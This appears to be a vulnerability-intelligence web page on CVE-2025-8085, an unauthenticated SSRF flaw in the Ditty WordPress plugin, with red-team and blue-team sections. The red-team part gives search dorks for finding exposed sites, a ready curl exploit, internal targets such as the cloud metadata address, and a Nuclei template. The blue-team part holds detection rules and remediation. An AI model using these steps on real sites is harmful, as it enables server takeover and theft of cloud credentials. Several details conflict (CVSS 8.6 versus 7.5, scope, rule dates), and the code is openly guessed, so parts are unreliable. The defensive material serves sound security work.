☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8085

CVE-2025-8085 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Ditty WordPress plugin (versions before 3.
📅 PUBLISHED: 2025-09-08 06:00 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v3.1.58 — source: WPScan. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 19.59%
👁️
19.59% probability
489.7× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8085 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Ditty WordPress plugin (versions before 3.1.58). The plugin's displayItems endpoint lacks proper authorization and authentication, allowing unauthenticated attackers to force the server to make arbitrary HTTP requests. This can be leveraged to probe internal network services, access cloud metadata endpoints (e.g., AWS, GCP), and potentially exfiltrate sensitive data. A previous fix in version 3.1.57 attempted to mitigate the issue with a nonce check, but this was insufficient as any authenticated user (e.g., subscriber) could retrieve the nonce. The vulnerability is confirmed by a public Nuclei template and has a high severity rating.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Ditty WordPress plugin, distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected if they are running a version prior to 3.1.58. The supply chain risk is moderate, as the plugin is widely used for news tickers and dynamic content displays. No malicious code injection has been reported, but the SSRF vector could be used to pivot attacks to internal infrastructure.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers and can lead to significant information disclosure from internal networks.

Deep Dive & Mechanics

The vulnerability resides in the displayItems endpoint of the Ditty plugin, registered via the WordPress REST API at /wp-json/dittyeditor/v1/displayItems. The endpoint processes a JSON payload containing apiData with layouts and items arrays. The layouts array includes an html field that can contain an {image default_src="..."} shortcode. The plugin's code processes this shortcode by making an HTTP request to the URL specified in the default_src attribute.

The core issue is that the endpoint does not validate or sanitize the URL before making the request. An attacker can supply an arbitrary URL, including internal IP addresses (e.g., http://169.254.169.254/ for cloud metadata) or internal services (e.g., http://localhost:9200/ for Elasticsearch). The server will then make the request, and the response may be reflected back to the attacker or used in further exploitation.

The attempted fix in version 3.1.57 added a nonce check, but this nonce is accessible to any authenticated user, including subscribers. An attacker can create a low-privilege account or compromise an existing one to obtain the nonce and bypass the check.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.1.58): The endpoint handler likely processes the html field without validating the URL. A simplified representation:

function handle_display_items($request) {
    $api_data = $request->get_param('apiData');
    foreach ($api_data['layouts'] as $layout) {
        $html = $layout['html'];
        // Process shortcode - vulnerable to SSRF
        $processed = do_shortcode($html);
    }
    // ...
}

Patched Code (3.1.58+): The patched version adds proper authorization checks, likely verifying user capabilities and sanitizing URLs. A conceptual patch:

function handle_display_items($request) {
    // Check user capability
    if (!current_user_can('edit_posts')) {
        return new WP_Error('rest_forbidden', 'You do not have permission.', array('status' => 403));
    }
    $api_data = $request->get_param('apiData');
    foreach ($api_data['layouts'] as $layout) {
        $html = $layout['html'];
        // Sanitize URL in shortcode
        $html = preg_replace_callback('/default_src="([^"]+)"/', function($matches) {
            $url = esc_url_raw($matches[1]);
            if (wp_http_validate_url($url) === false) {
                return ''; // Remove invalid URLs
            }
            return 'default_src="' . $url . '"';
        }, $html);
        $processed = do_shortcode($html);
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Ditty plugin version < 3.1.58.
  • An interactsh or Burp Collaborator instance to receive out-of-band requests.

Exploitation Steps:

  1. Identify Target: Use Shodan or FOFA to find vulnerable instances.

    • Shodan: http.html:"/wp-content/plugins/ditty-news-ticker/"
    • FOFA: body="/wp-content/plugins/ditty-news-ticker/"
  2. Craft Payload: Send a POST request to the vulnerable endpoint with a malicious JSON payload.

curl -X POST https://target.com/wp-json/dittyeditor/v1/displayItems \
  -H "Content-Type: application/json" \
  -d '{
    "apiData": {
      "layouts": [
        {
          "id": "test",
          "html": "{image default_src=\"http://your-collaborator-url\"}",
          "css": "test"
        }
      ],
      "items": [
        {
          "item_id": 1234,
          "item_type": "default",
          "item_value": { "content": "test" },
          "layout_value": { "default": "test" }
        }
      ]
    }
  }'
  1. Verify SSRF: Check your collaborator for incoming HTTP requests. If received, the vulnerability is confirmed.

  2. Internal Network Scanning: Replace the collaborator URL with internal addresses to probe services.

    • http://169.254.169.254/latest/meta-data/ (AWS metadata)
    • http://localhost:9200/ (Elasticsearch)
    • http://10.0.0.1:8080/ (Internal web app)

Nuclei Template (Provided):

id: CVE-2025-8085

info:
  name: Ditty < 3.1.58 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.
  impact: |
    Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.
  remediation: |
    Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.
  reference:
    - https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8085
    - https://research.cleantalk.org/cve-2025-8085/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"/wp-content/plugins/ditty-news-ticker/"
    fofa-query: body="/wp-content/plugins/ditty-news-ticker/"
    publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
  tags: cve,cve2025,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,metaphorcreations,vuln,vkev

variables:
  marker_string: "{{rand_text_alpha(5)}}"
  marker_int: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "apiData": {
            "layouts": [
              {
                "id": "{{marker_string}}",
                "html": "{image default_src=\"http://{{interactsh-url}}\"}",
                "css": "{{marker_string}}"
              }
            ],
            "items": [
              {
                "item_id": "{{marker_int}}",
                "item_type": "default",
                "item_value": { "content": "{{marker_string}}" },
                "layout_value": { "default": "{{marker_string}}" }
              }
            ]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "{{marker_string}}", "{{marker_int}}")'
          - "status_code == 200"
        condition: and

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor REST API Logs: Look for POST requests to /wp-json/dittyeditor/v1/displayItems from unauthenticated sources.
  2. Analyze Payloads: Check for suspicious URLs in the html field, especially internal IPs or cloud metadata endpoints.
  3. Outbound Traffic Monitoring: Alert on outbound HTTP requests from the WordPress server to unknown or internal IPs.
  4. User Agent Analysis: The default Nuclei template uses a standard Go HTTP client user agent; monitor for unusual user agents.

Response Actions:

  • Immediately block the attacking IP.
  • Isolate the affected server.
  • Review server logs for data exfiltration.
  • Apply the patch (upgrade to 3.1.58+).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-json/dittyeditor/v1/displayItems with JSON payloads containing default_src pointing to internal IPs.
    • Outbound HTTP requests to cloud metadata IPs (e.g., 169.254.169.254, fd00:ec2::254).
    • Outbound HTTP requests to internal RFC 1918 addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
  • File IOCs:

    • Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log containing the endpoint and suspicious payloads.
  • Behavioral IOCs:

    • Unusual spikes in outbound HTTP traffic from the WordPress server.
    • Access to the endpoint from IPs not associated with legitimate users.

Detection Engineering

YARA Rule

rule CVE_2025_8085_Ditty_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2025-8085 in Ditty WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8085"
        severity = "high"
    strings:
        $endpoint = "/wp-json/dittyeditor/v1/displayItems"
        $ssrf_pattern = /default_src\s*=\s*["']https?:\/\/(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost|127\.0\.0\.1)/
        $json_payload = /"apiData"\s*:\s*\{/
    condition:
        $endpoint and $ssrf_pattern and $json_payload
}

Sigma Rule

title: CVE-2025-8085 Ditty SSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to the Ditty plugin's displayItems endpoint with suspicious URLs indicating SSRF.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8085
    - https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-json/dittyeditor/v1/displayItems'
    filter:
        cs-uri-query|contains: 'default_src'
    condition: selection and filter
falsepositives:
    - Legitimate use of the plugin with external image sources (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8085 Ditty SSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/dittyeditor/v1/displayItems"; http_uri; content:"default_src"; http_client_body; pcre:"/default_src\s*=\s*["']https?:\/\/(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost|127\.0\.0\.1)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Plugin: Update Ditty to version 3.1.58 or later immediately.
  2. Web Application Firewall (WAF): Create a rule to block POST requests to /wp-json/dittyeditor/v1/displayItems containing default_src with internal IPs.
  3. Network Segmentation: Ensure the WordPress server cannot access sensitive internal services.
  4. Disable Plugin: If immediate upgrade is not possible, disable the Ditty plugin until patched.

Long-Term Measures:

  • Implement regular vulnerability scanning for WordPress plugins.
  • Enforce least privilege for WordPress users.
  • Monitor for similar SSRF vulnerabilities in other plugins.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 074C28C5C871D4AC7DDC1F67] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8085/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.